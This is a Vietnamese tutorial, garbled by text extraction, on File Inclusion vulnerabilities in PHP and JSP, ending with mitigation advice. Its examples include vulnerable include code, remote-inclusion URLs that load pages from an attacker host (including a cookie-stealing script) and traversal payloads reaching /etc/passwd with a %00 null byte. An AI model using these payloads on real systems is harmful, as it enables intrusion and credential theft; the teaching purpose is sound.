DANH MỤC TÀI LIỆU
Tấn công khai thác lỗ hổng File Inclusion
T N CÔNG KHAI THÁC L H NG FILE INCLUSION Ỗ Ổ
L h ng File Inclusion cho phép tin t c truy c p trái phép vào nh ng ỗ ổ
t p tin nh y c m trên máy ch web ho c th c thi các t p tin đ c h i ạ ả
b ng cách s d ng ch c năng “include”. L h ng này x y ra do c ử ụ ỗ ổ ơ
ch ki m tra đ u vào không đ c th c hi n t t, khi n tin t c có th ế ể ượ ế
khai thác và chèn các d li u đ c h i.ự ệ
Hàm ‘Include’
Tr c khi nói v chi ti t l h ng File Inclusion, chúng ta c n hi u s qua ướ ế ỗ ổ ơ
v m t l i g i hàm ‘include()’. Toàn b n i dung trong m t file c th s ể ẽ
đ c sao chép vào m t file khác ch a l i g i ‘include’. Ph ng th c này ượ ứ ờ ươ
đ c s d ng nh m tránh vi c code l p và có th s d ng b t kì lúc nào. ượ ử ụ ử ụ
L p trình viên th ng s d ng hàm include() nh m thêm nh ng d li u, ườ ử ụ
t p tin mã ngu n dùng chung c a các t p tin trong ng d ng. Nh ng n i ứ ụ ữ ơ
th ng đ c s d ng nh footers, headers, menu files … D i đây là m t ườ ượ ử ụ ư ướ
ví d đ n gi n v hàm include.ụ ơ
1. M t menu trang nh sauộ ư
menu.php:
<?php
echo ‘<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>;
?>
2. Menu trang này có th đ c s d ng l i trong t t c các trang c a ể ượ ử ụ
ng d ng b ng cách dùng hàm include()ứ ụ ằ
abc.php
<html>
<body>
<div class =”menu”><?php include ‘menu.php’;?></div>
<p>WELCOME</p>
</body>
</html>
3. Gi thì file menu.php đã đ c bao hàm trong file abc.php, b t c khi ượ ấ ứ
nào abc.php đ c truy c p, n i dung trong file menu.php s đ c sao ượ ẽ ượ
chép vào abc.php và th c thi.
Tuy nhiên v n đ này có th b tin t c khai thác và t n công tr l i website ở ạ
gây nh ng h u qu r t nguy hi m. Đây là 2 l h ng chính r t nguy hi m ấ ể ấ ể
liên quan đ n hàm include()ế
Remote file inclusion
Local file inclusion
L u ý: Trong PHP có 1 s hàm cũng có ch c năng t ng t , hay các hàm doư ươ ự
ng i l p trình t vi t nh : Inlude_once(), require(), require_once()…ườ ậ ế ư
L h ng Remote file inclusionỗ ổ
RFI cho phép tin t c include và th c thi trên máy ch m c tiêu m t t p tin ộ ệ
đ c l u tr t xa. Tin t c có th s d ng RFI đ ch y m t mã đ c trên ư ư ừ ặ ụ ể
c máy c a ng i dùng và phía máy ch . nh h ng c a ki u t n công ườ ủ Ả ưở
này thay đ i t đánh c p t m th i session token ho c các d li u c a ổ ừ ữ ệ
ng i dùng cho đ n vi c t i lên các webshell, mã đ c nh m đ n xâm h i ườ ế ệ ả ế
hoàn toàn h th ng máy ch .ệ ố
Khai thác l h ng Remote file inclusion trong PHPỗ ổ
PHP có nguy c cao b t n công RFI do vi c s d ng l nh include r t ơ ị ấ
nhi u và thi t đ t m c đ nh c a server cũng nh h ng m t ph n nào đó. ế ặ ưở
Đ b t đ u chúng ta c n tìm n i ch a file include trong ng d ng ph ể ắ ơ
thu c vào d li u đ u vào ng i dùng. ữ ệ ườ
1. M t trong nh ng n i ch a l h ng có th nh ví d d i đây, giá ơ ỗ ổ ư ụ ướ
tr c a ‘testfile’ đ c cung c p b i ng i dùng:ị ủ ượ ườ
www.victim_site.com/abc.php?testfile=example
2. Mã ngu n PHP ch a l h ng: ỗ ổ
$test = $_REQUEST[“testfile”];
Include($test.”.php”);
3. Thông s c a ‘testfile’ đ c l y t phía ng i dùng. Đo n mã s ố ủ ượ ườ
l y giá tr ‘testfile’ và tr c ti p include nó vào file PHP. ự ế
4. Sau đây là ví d v m t h ng t n công đ c s d ng đ i v i ụ ề ướ ượ
đo n mã trên:
www.victim_site.com/abc.php?
test=http://www.attacker_site.com/attack_page
File “attack_page” đ c bao hàm vào trang có s n trên máy ch và th c thi ượ ủ ự
m i khi trang “abc.php” đ c truy c p. Tin t c s đ a mã đ c vào ượ ẽ ư
“attack_page” và th c hi n hành vi đ c h i. ộ ạ
Khai thác Remote file inclusion trong JSP
1. Gi s m t k ch b n n i m t trang JSP s d ng “c:import” nh m ả ử ơ
nh p m t tên t p tin nào đó do ng i dùng cung c p vào trang JSP ậ ộ ườ
hi n t i thông qua bi n đ u vào ‘test’:ệ ạ ế
<c:import url=”<%= request.getParameter(“test”)%>”>
T n công:
www.victim_site.com/abc.jsp?
test=http://www.attackersite.com/stealingcookie.js
2. Script đ c h i trong stealingcookie.js s đ c đ a vào trang c a ẽ ượ ư
n n nhân và đi u khi n b i tin t c. ể ở
T n công Local file inclusion
L h ng Local file inclusion n m trong quá trình include file c c b có s n ỗ ổ
trên server. L h ng x y ra khi đ u vào ng i dùng ch a đ ng d n đ n ỗ ổ ườ ườ ế
file b t bu c ph i include. Khi đ u vào này không đ c ki m tra, tin t c có ượ ể
th s d ng nh ng tên file m c đ nh và truy c p trái phép đ n chúng, tin ể ử ế
t c cũng có th l i d ng các thông tin tr v trên đ đ c đ c nh ng t p ể ợ ượ
tin nh y c m trên các th m c khác nhau b ng cách chèn các ký t đ c ư ự ặ
bi t nh “/”, “../”, “-“.ệ ư
Local file inclusion trong PHP:
1. Ví d đ ng d n sau có th b t n công: ườ ị ấ
http://victim_site/abc.php?file=userinput.txt
2. Giá tr c a bi n ‘file’ đ c l y vào đo n mã PHP d i đây:ị ủ ế ượ ướ
<?php
include $_REQUEST[‘file’];
?>
3. Gi thì tin t c s đ a mã đ c vào bi n ‘file’ đ truy c p trái phép ẽ ư ế
vào file trong cùng ch m c ho c s d ng kí t duy t ch m c nh ử ụ ư
“../” đ di chuy n đ n ch m c khác. Ví d tin t c l y đ c log b ng ế ặ ấ ượ
cách cung c p đ u vào “/apache/logs/error.log” ho c ấ ầ
“/apache/logs/access.log” hay vi c đánh c p d li u liên quan đ n tài ữ ệ ế
kho n c a ng i dùng thông qua “../../etc/passwd” trên h th ng Unix. ườ ệ ố
Trong m t s tr ng h p đ c bi t m t ph n m r ng m c đ nh s đ c ườ ở ộ ượ
thêm vào thông tin đ c đ a lên t trình duy t tr c khi đ a vào hàm ượ ư ệ ướ ư
Include(). Cách t t nh t tránh nh ng ph n m r ng này là s d ng byte ở ộ
r ng k t thúc “%00” đ v t qua. Đây là cách đ c các tin t c s d ng đ ế ể ượ ượ ử ụ
th c hi n hành vi đ c h i và truy c p b t c ki u file nào. ấ ứ
Ví d đ u vào đ c l y t đo n mã sau và ph n m r ng m c đ nh là ượ ở ộ
“.php”.
<?php
“include/”.include($_GET[‘testfile’].”.php”);
?>
N u tin t c mu n truy c p m t file không ph i ki u “text” chúng s s ế ẽ ử
d ng m t %00 (kí t byte r ng sau tên c a file.ụ ộ
http://victim_site/abc.php?testfile=../../../../etc/passwd%00
T ng t Local file inclusion trong JSP:ươ ự
1. Gi s URL d i đây đ c yêu c u trong ng d ng và bi n ‘test’ ướ ượ ầ ế
l y d li u đ u vào trong l nh include: ữ ệ
www.victim_site.com/abc.jsp?test=xyz.jsp
Giá tr c a bi n ‘test’ s đ c chuy n qua:ị ủ ế ượ
<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>
2. Mũi t n công dành cho đo n mã trên có th n m trong m t file ể ằ
database h p l , đ c s d ng nh m t đ u vào. Do có l h ng local ượ ử ụ ư ỗ ổ
file inclusion n m trong ng d ng, file database s đ c include vào ẽ ượ
trang JSP:
www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB
Kh c ph c l h ng File Inclusion ỗ ổ
L h ng x y ra khi vi c ki m tra đ u vào không đ c chú tr ng. Khuy n ỗ ổ ượ ế
cáo riêng thì không nên ho c h n ch t i m c t i thi u ph i s d ng các ế ớ
bi n t “User Input” đ đ a vào hàm include hay eval. Trong tr ng h p ế ể ư ườ
ph i s d ng. v i các thông tin đ c nh p t bên ngoài, tr c khi đ a vào ử ụ ượ ướ ư
hàm c n đ c ki m tra k l ng ượ ỹ ưỡ
Ch ch p nh n kí t và s cho tên file (A-Z 0-9). Blacklist toàn b kí t đ c ự ặ
bi t không đ c s d ng. ượ ử ụ
Gi i h n API cho phép vi c include file t m t ch m c xác đ nh nh m ớ ạ ừ ộ ỉ ụ
tránh directory traversal.
T n công File Inclusion có th nguy hi m h n c SQL Injection do đó th c ơ ả
s c n thi t ph i có nh ng bi n pháp kh c ph c l h ng này. Ki m tra d ự ầ ế
li u đ u vào h p lý là chìa khóa đ gi i quy t v n đ . ể ả ế ấ
thông tin tài liệu
Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.
Mở rộng để xem thêm
từ khóa liên quan
xem nhiều trong tuần
yêu cầu tài liệu
Giúp bạn tìm tài liệu chưa có

LÝ THUYẾT TOÁN


×